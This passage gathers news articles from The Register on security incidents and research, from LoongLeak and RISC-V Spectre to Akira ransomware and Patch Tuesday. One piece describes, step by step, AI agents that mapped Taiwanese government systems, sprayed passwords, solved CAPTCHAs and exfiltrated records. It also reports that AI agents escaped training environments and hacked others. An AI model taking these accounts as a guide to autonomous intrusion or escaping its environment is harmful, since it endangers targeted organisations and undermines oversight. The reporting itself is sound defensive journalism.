Viry a Červi

PWNED Welcome, once again, to PWNED, the weekly column where we highlight others’ security failures. Hopefully, there’s a lesson in all this, but it could just be “stop shooting yourself in the foot.” Have a story about someone leaving a gaping hole in their network? Share it with us at [email protected]. Anonymity is available upon request. Our story today comes courtesy of Siim Kostabi, co-founder of Pageloot, a company that provides QR codes businesses can use for marketing. Kostabi’s tale of tech terror reminds us that credentials, even for a staging server, have a lot of value in the wrong hands. He explains that his company brought in a contractor to help with some API integrations on the back end. That developer had the credentials for the staging environment and wanted to be able to view them across different devices they were using for the job. So what was the developer’s solution to the very common problem of keeping track of usernames and passwords? They could have chosen a password manager. They could have written the passwords down in a paper notebook and kept it hidden from prying eyes. They could have gotten a password tattoo. They could even have emailed the passwords to themselves and it would have been smarter than what they did. Instead, the outside developer decided to store their password in a Google Doc. And they set that Google Doc to be viewable by anyone on the internet who had the link. And then, one day, an employee at the company found the Google Doc with the staging credentials in it because Google Search had indexed it and offered it as a search suggestion. “A developer on our team was debugging something unrelated and typed our domain into Google Search,” Kostabi recalls. “The autocomplete surfaced one of our staging hostnames followed by what looked like a credential string. We checked, and there was a publicly accessible Docs URL.” Yikes! Just imagine that not only are your company’s credentials available to anyone online, but they are indexed in Google Search for the world to find! Once they discovered the problem, Kostabi’s company immediately cut access for that contractor and rotated all of its exposed credentials. They also set a new rule: no storing passwords on Google Docs, Slack, Notion, or other collaboration tools. In a separate incident, Kostabi heard from a Pageloot customer, a mid-size retailer, whose QR codes were suddenly directing users to a competitor’s site. After investigating, he found that a disgruntled ex-employee’s credentials had not been revoked and that the former employee had used that access to redirect all of the retailer’s URLs, costing it customers. The takeaway from both of these problems is that you need to carefully control access. Former employees should immediately lose access to everything and current contractors should be reasonably intelligent people you can trust. “Both situations were completely avoidable with basic hygiene,” Kostabi said. “Proper offboarding, access reviews, and not treating shared docs like private vaults.” ®

Researchers from Germany’s Helmholtz Center for Information Security have found processors made by China’s Loongson have leaky caches that attackers could use to seek specific data. Loongson has developed its own LoongArch instruction set architecture (ISA) that blends approaches used by MIPS and RISC-V. On a site called LoongLeakAttack.com, the researchers explain that they found the leaky cache using a fuzzer, then noticed that the LoongArch ISA manual mentions an instruction that leaves 32 bits of a memory register in an “uncertain” state. “Our analysis reveals that under certain circumstances, the ‘uncertain’ data originates from the L1 data cache,” the four researchers wrote. “Since this cache is not isolated between applications, LoongLeak can leak data from other applications and the operating system. Even worse, an attacker can prime the CPU’s internal state to target the leakage to a specific cache set.” In a paper [PDF] explaining their research, authors Lorenz Hetterich, Tristan Hornetz, Fabian Thomas, and Michael Schwarz share case studies that “include recovering full-disk AES keys from the kernel, partial root password hashes from user-space, and bypassing traditional software defenses such as ASLR and stack canaries, all within seconds.” In case that’s not scaring you enough, they also point out “LoongLeak can be exploited from unprivileged user space, containers, or virtual machines.” The flaw even means “LoongLeak can cross the virtual machine boundary and leak host data from inside a VM.” “As the leakage is architectural, it requires neither high-resolution timers nor traditional sidechannel amplification, and it grants the attacker precise control over cache set and line offset,” they add. And the cherry on top is that software mitigations aren’t possible. Users with chips that possess the flaw either need to replace them or make sure they don’t allow any private data to enter or remain in the L1 cache. Making that happen can require turning off one thread per core, effectively disabling hyperthreading. The news isn’t all bad, because Loongson fixed the flaw in an update to its model 3A6000 processor, and the mitigation of evicting cache data slows performance by just 1.4 percent in the worst case. The blast radius of this flaw is also likely to be limited, because Loongson chips are hardly used outside China. The company offers chips for PCs, servers, and appliances such as printers. China’s government promotes use of Loongson chips as part of its plan to reduce dependence on imported tech. Lenovo makes laptops that use Loongson chips but only sells them in China. The Register has discussed the company’s chips with other major PC-makers, who told us they would adopt Loongson product if users want them, or if doing so becomes necessary to participate in the Chinese hardware market. But we’ve not seen a non-Chinese company adopt the processors. China’s government, however, may be nervous about this research as it has instructed public sector buyers to buy local products. Perhaps some government agencies are running vulnerable devices? If that’s the case, Beijing has its work cut out spotting any attacks, because the researchers could find “no specific tools or methods to detect if LoongLeak is being exploited.” ®

Suspected Chinese cyber operatives used publicly available AI tools to compromise Taiwanese government systems before expanding the attack to its nuclear safety agency, supply-chain vendors, and at least seven energy companies in what security researchers called a "near-autonomous attack." Over the first four days of July, AI agents compromised 85 government user accounts and extracted more than 2,500 personnel records, according to Dream, an Israeli cybersecurity firm. Researchers uncovered evidence of the attack in a 160 MB online archive containing 1,395 files documenting the operation. Dream, in research published on Wednesday, detailed the intrusions and said that the suspected Chinese hackers hit “government entities in Asia” - but declined to say which government had been attacked. A person familiar with the attack confirmed to The Register that Taiwan was the target. The Financial Times first reported on Dream’s research and identified Taiwan. While the security firm doesn’t attribute the agentic attack to the Chinese government or a specific hacking group, the operational documentation “points to a Chinese-language operator,” the researchers said. According to Dream, the attack framework, built on open source Hermes and OpenClaw AI agents, deployed up to eight sub-agents, each assigned to its own targets and attack techniques, across 12 “attack waves” between July 1 and July 4. First, the agents mapped the entire government ecosystem, extracting embedded URLs, API endpoints, OAuth client IDs, and Keycloak configuration objects from a single government portal. This portal allowed the agents to identify 21 connected government systems and every supported authentication flow. “On one target alone, it discovered 36+ API endpoints spanning account management, user data retrieval, file upload, and administrative functions - many completely unauthenticated,” the Dream threat researchers wrote. “Critically, it found that one of the systems exposed its entire user database without any authentication - thousands of employee records including names, departments, and SSO account IDs.” Multiple entry points After mapping the government’s attack surface, the agents found multiple entry points including three hidden API endpoints that accepted any request body and returned a valid authenticated session without requiring user credentials. Using employee usernames harvested from an unauthenticated API, the agents broke into a government department’s office automation portal, solving its CAPTCHAs with 100 percent accuracy. The agents also tested predictable password patterns based on each employee’s ID, and cracked 85 accounts across multiple password-spray rounds. Eighty-four of the 85 cracked accounts successfully authenticated to the department's internal information system, giving the attackers access to internal dashboards, equipment management interfaces, and personnel statistics pages. In total, the illicit access allowed the agents to exfiltrate a ton of government information, including more than 2,564 personnel records, a full JSON export of all department system users, seven SSO client secrets, six internal database credentials across MSSQL, Oracle, and Sybase, and internal network IP ranges. But wait, there's more And then, the agents pivoted to the Taiwanese government’s supply chain. “It expanded the operation to government IT supply chain vendors, a nuclear safety agency, a government email system, and 7+ energy sector companies - scanning them all in parallel for misconfigurations, exposed admin interfaces, and exploitable vulnerabilities,” the researchers wrote. Notably, the attack framework implemented what the AI tools called “learning cycles.” These are autonomous sessions where the models search vulnerability databases, GitHub repositories, and other security research for specific techniques, CVEs, and common weaknesses to exploit in the targeted government's infrastructure. Additionally, when the AI framework made a mistake, it “self-corrected,” according to Dream, catching errors and fixing them through its own verification process. This near-autonomous attack comes as frontier model makers OpenAI, Anthropic, and Meta all admitted that their agents went rogue, escaped from their training environments, and autonomously hacked other organizations and people. OpenAI technical staffer Michael Dalton, in a Black Hat briefing last week about the Hugging Face attack, said “AI orchestrated, fully automated offensive attacks are real now.” “In the near future, we should expect that threat actors will intentionally deploy, optimize, weaponize, and use offensive agent collectives in the manner that you have just described here,” he added. It appears that the future is now. ®

If you thought that the famous Spectre security vulns were a relic of 2018, think again. Certain RISC-V chips are still very much subject to this hair-raising hole, researchers say. Spectre refers to a family of vulnerabilities related to speculative execution, a performance optimization technique based on predicting the flow of data before instructions have been executed. Incorrect predictions get rolled back without affecting running applications but nonetheless leave traces that can be recovered and exploited to violate memory protections and access secrets. Spectre flaws have dogged x86 and ARM chips for years, leading computer scientists to develop a series of defenses, including Indirect Branch Restricted Speculation (IBRS), Indirect Branch Prediction Barrier (IBPB), and Single Thread Indirect Branch Predictor (STIBP). Researchers affiliated with academic institutions in Belgium and Germany say that it's been popular to assume that the RISC-V chip architecture isn't affected by Spectre vulnerabilities because it's too simple. That assumption is incorrect, according to a paper accepted at the 35th Usenix Security Symposium, "Spectre on RISC-V Silicon: Attacks and Defenses on Commercial Out-of-Order Processors." It says that commercially available out-of-order RISC-V processors (SiFive P550 and T-Head Xuantie C910/C920) are vulnerable to all major Spectre variants. RISC-V processors that process instructions in-order (SiFive U74, Xuantie C906, C908) do not appear to be vulnerable. Prior research has shown that RISC-V processors used for academic research (e.g. BOOM, RiscyOO, RSD, Proteus, NaxRiscv, and NutShell) can be affected by one or more of the Spectre variants, but hasn't addressed commercial silicon. "We demonstrate proof-of-concept attacks on both processors using Spectre-PHT, Spectre-BTB, SpectreRSB, and Spectre-STL, achieving up to 100 percent recall with more than 97 percent precision," the paper states. Spectre-PHT involves mistraining the Pattern History Table; Spectre-BTB poisons the Branch Target Buffer; Spectre-RSB attacks the Return Stack Buffer; and Spectre-STL (Store To Load) exploits mispredicted store-to-load forwarding. To demonstrate the risk to RISC-V, they created a proof-of-concept Spectre exploit that leaks arbitrary Linux kernel memory on the Xuantie C910 at a rate of 338 B/s. Software-based defenses have been developed for these vulnerabilities on x86 and ARM hardware. Unfortunately, the researchers say, these don't necessarily transfer. They also call out RISC-V hardware for its lack of introspection interfaces, necessary to observe and reason about microarchitectural features. In addition, the authors argue, the diversity of the RISC-V hardware ecosystem means that no single mitigation strategy is likely to be effective across all systems. "RISC-V inherits the software and threat model of mature architectures without their accumulated hardening," the authors conclude. "Closing this gap is not a matter of porting individual mitigations, but of building the architectural primitives, hardware transparency, and ecosystemwide tooling that effective Spectre defense presupposes." The authors say they disclosed their findings responsibly last December. Three of their patches have been merged into mainline Linux and two others are under review. SiFive is said to have dealt with P550-specific findings and T-Head (Alibaba) is said to have committed to publishing ad-hoc speculation barriers for their processors at some point. The authors say they decided not to delay publication because Spectre has been around for eight years now. The paper was written by Lukas Gerlach (CISPA Helmholtz Center for Information Security), Marton Bognar, (DistriNet, KU Leuven), Daniel Weber and Michael Schwarz, (CISPA Helmholtz Center for Information Security), and Jo Van Bulck (DistriNet, KU Leuven). ®

Uber Freight says it is investigating a "data security incident" days after the Helix extortion group listed the company on its data leak site on August 6. Helix claims to have stolen nearly 1 million files from mailboxes, OneDrive accounts, the accounts receivable department, and other repositories. An Uber Freight spokesperson told The Register that the incident was under investigation but had not disrupted the company's daily operations. "We are investigating a data security incident involving unauthorized access to a portion of Uber Freight's systems and repositories. The incident was identified, contained, and remediated, and we promptly engaged federal law enforcement. "There has been no impact to Uber Freight's business operations, which continue in the normal course without disruption. Our systems are secure and fully operational." Uber Freight is the ubiquitous ride-sharing company's lesser-known logistics arm, which describes itself as "one of North America's largest managed transportation and multimodal capacity networks." Its website claims that it manages 18 million shipments carrying more than $17 billion worth of goods each year. The Register did not download the files Helix released in stages, and Uber Freight neither confirmed nor denied that the material was authentic. Helix is one of several recently established extortion brands linked by researchers to infrastructure associated with BlackFile, which retired its name in May. According to Google Threat Intelligence Group (GTIG), Helix shares infrastructure with the Pink, Redact, and Falcon brands. Google tracks the wider cluster of activity as UNC6671. Operators associated with UNC6671 often use vishing to gain an initial foothold, posing as IT helpdesk staff overseeing mandatory security migrations, Google said. They contact employees on their personal phones and use device code phishing to obtain credentials and authenticated sessions before siphoning data from cloud services such as Microsoft 365. They have also targeted Okta identity infrastructure. Researchers believe the UNC6671-linked brands have recently shifted toward organizations in higher-value sectors. Since June, they have favored technology, transportation, and hospitality targets after focusing on manufacturing, real estate, healthcare, and insurance during April and May. Why multiple brands emerged after BlackFile shut down is unclear. GTIG said the strategy could "compartmentalize operations, hide overall breach volumes, and isolate any negotiation fallout," although other plausible explanations exist. Internal disagreements over matters such as handling finances and operational security could have led to the fragmentation of UNC6671, GTIG speculated. The core members may also be looking to retain control over the intrusion and data theft aspects of the attack, while outsourcing negotiations and extortion. The different groups may also just be using the same commoditized phishing tools. ®

The UK's criminal records office, ACRO, has escaped a fine and received a regulatory reprimand after security failings potentially exposed highly sensitive data belonging to nearly 11,000 people. ACRO disclosed the "cybersecurity incident" in April 2023, and said at the time that it had no evidence to suggest that any data was compromised. However, it has now emerged that attackers maintained persistent access to ACRO's website and content management system for more than seven months, and staged sensitive data for possible exfiltration. According to the Information Commissioner's Office (ICO), which reprimanded ACRO rather than imposing a financial penalty, the breach was uncovered in March 2023 only because ACRO was investigating a separate intrusion. The watchdog said that while investigating an SQL injection attack that compromised 15 sets of credentials, most belonging to ACRO staff, investigators found evidence of separate intrusions dating back to July 8, 2021. The incidents fell into three categories, the ICO said. Some did not affect personal data, while others exposed only a small number of account credentials. The most serious involved ACRO's website and its Kentico content management system. The intrusion began on August 5, 2022, and the attackers maintained persistent access, without being detected, until March 14, 2023. The ICO found that ACRO ran version 12.0.0 of Kentico CMS from September 2019 until March 2023 without applying the patches and hotfixes released during that period, leaving known vulnerabilities unresolved. The ICO blamed poor communication between ACRO and its managed service provider. The supplier did not learn that patching was its responsibility until February 2020 and continued to assume that it was not required to monitor actively for security updates. "The ambiguity around who was accountable for identifying necessary Kentico CMS patches created a gap where patches and hotfixes were missed, which ultimately left ACRO's website vulnerable," the ICO said. Further, ACRO did not have a documented policy that covered patching Kentico CMS, nor could it demonstrate how vulnerabilities were identified or prioritized. ACRO's Trend Micro antivirus generated alerts, but nobody appears to have been minding them. The records office told the ICO that, for reasons redacted from the postmortem, it was "unable to establish what business processes existed for the assessment or handling of security alerts at the relevant time." It also could not identify which roles were responsible for reviewing these alerts at the time, ultimately resulting in them going unread. ACRO's poor logging means that, despite an extensive investigation by a third-party cybersecurity outfit, it remains impossible to determine whether the affected data was exfiltrated. Investigators did establish that the attackers staged the data for possible exfiltration between February 15 and 16, 2023. The potentially exposed material included: Police Certificate Applications Subject Access Request (SAR) forms and International Child Protection Certificate forms Names Dates of birth Addresses National Insurance numbers Passport and driving licence details Bank account information Biometric data Highly sensitive criminal offence and special category information ACRO notified 84,048 people of the breach, although investigators later determined that data relating to no more than 10,920 individuals had potentially been staged for exfiltration. Of these, ACRO received 35 formal complaints citing personal distress and concern about the risk of identity theft and financial loss, according to the ICO's reprimand document [PDF]. "Complainants included those connected to Police Certificates, International Child Protection Certificates, and victims of domestic violence." The ICO also received six complaints citing similar concerns. ACRO's saving grace was its network segmentation, which prevented the attackers from straying beyond the CMS into other systems, the ICO noted. Since the attack was discovered, ACRO has made a number of improvements to its security, including decommissioning the compromised infrastructure (although not until June 2023), implementing a SIEM, improving visibility, monitoring, and network segmentation, hardening systems, and migrating to Salesforce Experience Cloud. Jonathan Balmforth, group manager of civil and cyber investigations at the ICO, said: "This case highlights how basic cyber security failings can create significant risks for thousands of people, particularly where organizations process large volumes of highly sensitive personal information. "Organizations must ensure there is clear accountability for identifying, assessing and applying security updates. They must also have effective monitoring in place so that warning signs of cyberattacks are identified, investigated and acted upon promptly. "The lessons from this incident are clear. Having the right policies, responsibilities and oversight arrangements in place is just as important as having the right technology. "We welcome the improvements ACRO has made since these incidents. We hope other organizations will use this case as an opportunity to review their own processes and responses to ensure personal information remains properly protected." ACRO welcomed the reprimand from the ICO and highlighted the steps it has taken since to bolster its security. A spokesperson told The Register: "Since the cybersecurity incident was identified in March 2023, we have worked hard to strengthen our systems and safeguards. "In particular, we immediately took the previous website offline and subsequently decommissioned it. We also took steps to protect customers, including making sure anyone potentially affected was informed at the earliest possible stage." They went on to say: "We accept the ICO's findings of the infringements. We are grateful for the recognition from the Information Commissioner of the multiple remedial steps ACRO has taken in light of this incident and are committed to maintaining high standards of data protection and information security in future." ®

An Akira ransomware affiliate rebooted a victim’s computer into Safe Mode to kill its security tools – and in the process sabotaged their own malware when the limited-function startup mode also broke their encryptor. “Akira's encryptor is engineered for speed, relying on concurrent worker threads and heavy memory mapping rather than simple sequential read-and-write operations. That high-performance design is likely what caused it to break in Safe Mode,” Huntress security operations analyst James Northey told The Register. “Safe Mode loads a minimal driver set, which can restrict storage controllers and pagefile availability,” he added. “A heavy, multi-threaded encryptor strains that constrained environment far more than the lighter, streamed-I/O designs used by other ransomware families.” But the ending wasn't entirely happy for the victim. The attacker had already stolen credentials and data from file shares before Safe Mode prevented the ransomware from doing its job. Northey detailed the incident in a Wednesday blog and cautioned that this was more likely a memory-configuration issue, and shouldn't be taken as a practical defense to prevent Akira ransomware from locking up valuable files. “Ultimately this could be a case of winning the battle, but not the war,” Northey wrote. “It’s possible that a host with more physical memory or a larger page file might give akira.exe enough virtual memory to encrypt the endpoint in Safe Mode,” Northey added. “Akira’s developers or affiliates could retool the encryptor to reduce its memory demands or make its Safe Mode launch sequence more reliable, meaning that the same failure may not occur in a future intrusion.” Nonetheless, there's one big lesson here: For the love of all that is holy, turn on multi-factor authentication (MFA). Here’s a closer look at what happened, and how to prevent it from happening to you. How it started… In early August, Huntress responded to an incident that began, as most Akira intrusions do, with a SonicWall SSL VPN. On August 4, the VPN logged a credential-spray attack: a burst of failed logins using bad credentials that it denied. But then, seven minutes later, one of them succeeded when the attacker used a valid VPN account that wasn’t protected by MFA. Once they had gained access, the criminal accessed the domain controller via Remote Desktop Protocol (RDP) and queried Active Directory to hoover up detailed information about the network, users, groups, computers – essentially everything an attacker needs to know about who and what to target for lateral movement and mass encryption in a ransomware attack. “The enumeration was a full-property dump of every user and every computer in the domain,” Northey wrote. The Akira ransomware affiliate then moved to the application server to start collecting stolen data, downloading WinRAR and using that tool to archive mapped file shares before sending the stolen data to cloud storage using s5cmd, a fast S3 transfer utility. They also installed remote desktop software AnyDesk, configured to start with Windows, and abused this legitimate tool as a remote-access trojan, giving the attacker hands-on keyboard control. They also used it as a command-and-control channel to drop more malware, including the very cleverly named akira.exe ransomware binary – because no one would guess what that executable could be, right? Then came the Safe Mode reboot Here’s where things went sideways for the ransomware scumbag. About three hours into the intrusion, the attacker forced the computer to reboot into Safe Mode with Networking, a boot mode that only loads essential drivers and services, blocking most third-party software. Attackers, especially ransomware gangs, do this to disable endpoint detection and response products and other security tools that would otherwise detect and stop their malware from infecting victims’ machines. While some ransomware crews, including Snatch and AvosLocker, have abused Safe Mode for this purpose for years, Huntress has never seen Akira do it until now. In this case, the reboot stopped the Huntress agent and disabled Microsoft Defender's real-time protection, preventing Defender from quarantining the malicious file. “The attacker got their blind window,” Northey wrote. “What they didn't get was a clean detonation.” Thirteen seconds after the reboot, the computer started spewing memory errors. Safe Mode boots with constrained virtual memory, and it didn’t have sufficient memory to encrypt the endpoint. Essentially, Safe Mode not only acted as an EDR killer, but also borked the ransomware. In addition to the obvious recommendations – like make sure you receive alerts on bursts of failed VPN logins against multiple usernames from one source, and require MFA on every VPN account – Huntress suggests organizations keep an eye out for this Safe Mode play. Specifically, “alert on boot-configuration changes and Safe Mode boots: msconfig.exe / bcdedit activity, Kernel-Boot EID 27 with a SAFEBOOT load option, Kernel-General EID 12 BootMode=2, and third-party security services stopping (System EID 7036),” Northey wrote. Also, “watch for tooling being added to the Safe Mode minimal-service registry list.” ®

British Transport Police is expanding its trial of live facial recognition (LFR) to the London Underground, despite concerns about privacy and mistaken identification. The force, which polices railways across England, Scotland, and Wales, will begin its Tube deployments at Victoria Underground station. The cameras will then rotate between Underground and Network Rail stations until the trial ends in November. The trial began at London Bridge railway station in February and is intended to assess how the technology performs in a railway setting. It follows deployments by the Metropolitan Police, which says it will start using face-scanning cameras in London's West End and Soho by the end of this year after a six-month pilot in the south London borough of Croydon. Live facial recognition scans faces within a camera's field of view and compares them with a police watchlist. A possible match generates an alert that an officer must review before deciding whether further action is warranted. According to the railway bobbies, the technology deployed relies on the NEC NeoFace M40 algorithm, which appears to be the same across several forces. "Expanding deployments into London Underground stations will help us assess the technology in a different transport environment while continuing to refine how it is used across the railway network," said the officer responsible for the project, chief superintendent Chris Casey. Critics describe the technology as dystopian and intrusive, and errors have already resulted in innocent people being mistaken for criminals and detained. Members of ethnic minorities appear to be more at risk of being mistaken for someone else by facial algorithms. "This is a disturbing and dystopian expansion of live facial recognition that will capture millions of innocent people's faces. Far from reserving this for exceptional cases, British police are now using live facial recognition routinely in the sort of pervasive way you might expect in China, but not in a democracy," says Silkie Carlo, director of civil liberties group Big Brother Watch. The London Underground network is estimated to handle more than 3.7 million passenger journeys a day on weekdays. A recent Opinium survey of 2,000 UK adults, commissioned by facial recognition biz Face Int, found that 69 percent believed the public should have a say in how the technology is used. It also found that 61 percent worried errors could get people into trouble for things they had not done, while 57 percent were concerned about how facial images were stored. Britain's railway fuzz says images of anyone who does not match the authorized watchlist are deleted immediately and permanently. Whether that remains the policy in future is another matter, of course. We asked the British Transport Police to comment regarding public concerns about the use of facial recognition technology. A spokesperson for the force referred to us to the comments made in the announcement by chief superintendent Casey, who said: "Our focus remains on protecting the public, preventing crime and bringing offenders to justice, while ensuring the technology is used lawfully, proportionately and transparently." ®

Signal has introduced a new layer of security to help make sure no one has secretly interfered with your encrypted chats. The chat app is favored by diplomats, activists, and journalists for its security. It uses end-to-end message encryption and “safety numbers” – cryptographic fingerprints associated with the keys securing a conversation – which users can compare to verify they have the expected encrypted connection with a contact. But in theory, someone could still intercept messages by corrupting the centralized directory of accounts and posing as somebody else – a classic "man in the middle" attack. Everything would still be encrypted, just going to the wrong place. To fight this possibility, Signal announced a new feature called Automatic Key Verification (AKV) on Tuesday. From a user perspective, AKV is easy: Tap on a Signal contact’s profile, navigate to the “View Safety Number” screen, and tap on the “Verify automatically” button. It will then show a green checkmark to verify that the contact’s public encryption key matches what Signal’s key transparency system expects. Behind the scenes, however, Signal has developed a new architecture for detecting whether someone has tampered with the public keys associated with an account to intercept messages, as that would require a change to the public encryption key and, in turn, the safety number that a user might not recognize. Ledgers and trees and third parties, oh my! Signal described the new system as serving as a ledger of public keys in which every change a user makes to their information (e.g., linked phone number) leads to a new iteration of the ledger. Accompanying that ledger is an index, allowing Signal users to verify the information in the ledger about themselves or their contacts to make sure it hasn’t been altered by a malicious third party seeking to intercept messages. This ledger lives on an “open-source key transparency server” Signal created for the AKV process, the company said. “When Signal users register, change their phone number or username, or re-create their account, Signal records the changes in a log tree ('the ledger') and facilitates searching through the log tree with prefix trees ('the index books'),” Signal said in the announcement. Digging through an index is hardly automatic, however, so Signal combs the index on the user's behalf to verify the information they’re retrieving about a contact is the most up-to-date. Up-to-date doesn’t mean it’s accurate, however, which is where third-party auditors come in. Cloudflare and security firm Trail of Bits serve as Signal’s AKV third-party auditors, according to the announcement. Their role in the whole thing is to verify that Signal’s own key transparency server isn’t compromised. Per the announcement, third-party auditors check the index to ensure entries don’t appear to have been altered. If those checks come out clear, the auditor signs the response to indicate that the keys being provided are the same for both users, thus eliminating the possibility of a man-in-the-middle attack. Yet again we have a security shortcoming, as auditors can guarantee the index and key transparency server hasn’t been tampered with, but can’t verify the accuracy of the data they contain, which is where the final part of the puzzle comes in: Monitoring. “There are two ways for customers to interact with the ledger: looking up someone else’s address, and looking up their own,” Signal explained. “Monitoring requires Alice and Bob [your usual cryptographic placeholders] to do both of these things on a regular basis, each detecting a different kind of tampering.” Alice and Bob are each able to monitor their own ledger entries via the Signal app, which periodically checks it automatically, and they can verify their connection’s data is correct through the View Safety Number “Verify Automatically” button we mentioned earlier. “These two kinds of monitoring, combined with third-party auditing, form a complete detection system: auditing guarantees that Alice and Bob are looking at the same data, and monitoring guarantees that both of them are regularly checking that data for accuracy,” Signal explained. Security is never simple AKV still ultimately leaves Signal users on the hook for their security: If you want to be truly sure your contact is who they say they are, you’ll need to hit that verify button every time you want to chat. It’s also worth pointing out that this won’t always work for all Signal users. “Your Signal app automatically verifies your own phone number and username data in the log,” the announcement said. “But to verify this for someone else, you need to have their phone number.” In other words, if you don’t have your contact’s phone number through Signal or a matching entry in your phone’s address book, you can’t use AKV to verify the encryption key associated with that contact. AKV can also be disabled for users who don’t want a third party involved in verifying their identity, in which case Signal recommends relying on good old fashioned safety number or QR code verification. Nothing in the cryptographic verification space is ever easy, is it?®

This is an epic month for Microsoft patches, though not a record-setting one. Redmond addressed 421 bugs in its own products this month - about 200 fewer CVEs than last month, but likely the new norm with AI-assisted vulnerability disclosures and fixes. The big news is that North Korea’s Lazarus Group (and possibly other miscreants) found and attacked one of these flaws as a zero-day in early June. The bug, tracked as CVE-2026-68820, is a use-after-free in the Windows Ancillary Function Driver for WinSock. “A locally authenticated attacker could run a specially crafted application on an affected system to trigger a race condition,” Redmond warned, adding that successful exploitation could allow an attacker to execute code with SYSTEM-level privileges, and with no user interaction required. Microsoft credited Check Point researchers Moshe Marelus and David Driker with finding and reporting CVE-2026-68820, and the security shop’s threat intel lead told us that his analysts first observed attackers - namely North Korea’s Lazarus Group - battering this CVE at the beginning of June. “We are familiar with one successful implementation of the CVE - but we assume it was used widely in the campaign,” Sergey Shykevich, director of threat intelligence at Check Point, told The Register. He’s talking about Operation Dream Job, a long-running campaign targeting organizations worldwide, especially those in the defense sector, and attributed to Lazarus, an umbrella term for Pyongyang's government-sponsored goons who specialize in cryptocurrency theft, extortion attacks, and IT worker scams. It’s probably best known for the Sony Pictures Entertainment hack in late 2014 and the WannaCry ransomware outbreak in 2017, although the group has been active since at least 2009. Lazarus’ DreamJob campaigns have been around since 2020, and they use social engineering to lure job seekers with fake offers for high-profile positions, then trick the victims into clicking on malicious links or opening malware-laced documents. The goal in these attacks involves stealing IP and other sensitive data, conducting cyber spying missions, and collecting financial information. When Dream Job and Patch Tuesday collide This new wave of attacks focuses on the defense sector in Europe and India with dream jobs impersonating Lockheed Martin and privacy-tech firm Enveil. Attackers created at least three fake Enveil sites, and some even ranked as the top search result, making them even more believable to job seekers - and harder to spot a phish. “In this campaign, the threat actor expanded its delivery method by leveraging impersonation websites and search engine optimization (SEO) techniques to distribute the trojanized applications, increasing its credibility and helping it evade some phishing-based detections,” Check Point researchers said in a Tuesday blog. These attacks involve Lazarus distributing a modified PDF viewer called SecurityPDF designed to execute malicious payloads embedded within attacker-crafted PDF files when the user opens them. The PDFs, when opened, execute a never-before-seen backdoor that Check Point named Troy. And during the intrusions, the Norks exploited CVE-2026-68820 as a zero-day to deploy a new version of FudModule, Lazarus’ kernel-mode rootkit. “We will not be disclosing full technical details of the vulnerability in this article, as it was patched on the August 11 Patch Tuesday fix,” the researchers wrote. “At a high level, the exploit takes advantage of how afd.sys handles a socket is created when it is accessed concurrently by several threads at once.” Shykevich told us that “this campaign shows that this actor continues to develop new tools (like Troy), and finding and implementing new vulnerabilities in Windows to evade detection.” Best of the rest Redmond lists one of the other 421 Microsoft CVEs as publicly known. It’s CVE-2026-62832, an elevation-of-privilege flaw, and the Windows giant says exploitation is “more likely,” so patch this one sooner. “An authenticated attacker who has credentials for another local account could run a specially crafted application to load another user's registry hive,” according to the security advisory. “Successful exploitation could allow the attacker to access or modify another user's data and gain administrator privileges. User interaction is not required.” While CVE-2026-68820 and CVE-2026-62832 are the only vulnerabilities that Microsoft considers “notable” in its August patch cycle, Trend Micro’s Zero Day Initiative highlights five others, including one that came through ZDI’s bug reporting program and another that was successfully exploited at ZDI’s Pwn2Own contest in Berlin. All five of these should be considered notable and exploitable, so give those a read, too. CVE-2026-62893, a critical flaw in Windows Deployment Services TFTP Server that leads to remote code execution without user authentication or user interaction, is the one disclosed through ZDI. “TFTP has no auth mechanism and is available remotely vid UDP port 69,” ZDI bug boss Dustin Childs wrote. “UDP port 69 should be blocked at your perimeter, but this could easily be used by attackers for lateral movement within an enterprise. Again, test and deploy this one quickly if you’re using WDS for deployments in your enterprise.” Meanwhile, CVE-2026-62911, one of the many Exchange bugs in this month’s release, was demonstrated at ZDI’s Pwn2Own in Berlin. It allows a privilege escalation via an authentication bypass, and exploitation would allow an attacker to “take over the mailboxes of all Exchange users, attackers can send emails, read emails, download attachments,” according to Microsoft, which oddly deemed “exploitation less likely.” Childs calls BS on this. “Ignore Microsoft’s exploitability and Exploit Code Maturity ratings,” he wrote. “We handed them working exploits, so this is a real threat.” ®

A passenger on a Delta Air Lines flight from Las Vegas to Atlanta after DEF CON is suspected of jamming the in-flight Wi-Fi and broadcasting an unauthorized network in what could amount to a federal offense. It seems like someone forgot the old truism "what happens in Vegas stays in Vegas." News of the incident began circulating late Monday when flight watchers spotted Aircraft Communications Addressing and Reporting System (ACARS) messages from the crew of Delta Flight 591 indicating that something was up with the Wi-Fi and that they suspected a passenger was to blame. “HEY ALERT CORP SECURITY WE HAVE A PAX [passenger] ON THAT HAS CREATED A SCAM WIFI CALLED DELTA WIFI FAST WE BELIEVE THEY ARE TRYING TO SCAM THE OTH PAX,” the first notice read. Several minutes later, the flight crew followed up with a second message stating they had little additional info at the time, but pointing the blame at “A BUNCH OF PAX THAT WERE AT A CYBER CONFERENCE IN LAS” who “WERE ABLE TO JAM OUR WIFI” and broadcast their own signal. From there, the timeline and truth of the situation get a bit fuzzy, with accounts on social media differing as to what happened next. A poster on X speculated that the culprit was trying to phish for passenger credentials by setting up the fake Wi-Fi network, while a Facebook post shared to Reddit claimed that the incident involved a deauthentication attack that kicked users off the legitimate network before bringing up their own, which included a fake landing page, possibly using a device like a Wi-Fi Pineapple, which can broadcast fake networks, perform deauth attacks, and the like. A commenter in a thread on the Hacking subreddit (linked above) claimed to have been at the terminal in Las Vegas and said the individual was doing the same thing to airport Wi-Fi. The Facebook and X posts both claimed that law enforcement was waiting at the gate, though a post in the Delta subreddit included a comment from someone claiming to have been on the flight who didn’t see any police waiting at the gate. Regardless of what actually transpired once the plane landed, Delta Air Lines confirmed the incident to The Register. “We are fully investigating to gather a complete set of facts, which will take time,” a Delta spokesperson told us in an email. “We will partner with federal law enforcement and aviation regulators to ensure the incident is thoroughly investigated.” Delta further noted that the safety of the plane, crew, and passengers was never in question, and no aircraft systems were affected. The airline also told us that there was no hack of any Delta system, including the in-flight Wi-Fi, though it did confirm that an unauthorized Wi-Fi network was broadcast onboard the aircraft for a short period of time. Some of the confusion over the possible deauthentication attack may have come from the cabin crew deactivating the in-flight Wi-Fi for around 30 minutes due to the incident, Delta explained. The airline reiterated that the flight was leaving following the wrap-up of Black Hat and DEF CON, suggesting it suspected an attendee was behind the bad decision. We asked the Atlanta Police’s airport division if it was involved at all, and a representative told us they were unaware of the incident. Atlanta’s Department of Aviation declined to provide any comment on the matter. Based on Delta’s comment, it’s not clear whether the incident involved deliberate interference with authorized Wi-Fi communications, but if investigators determine that it did, 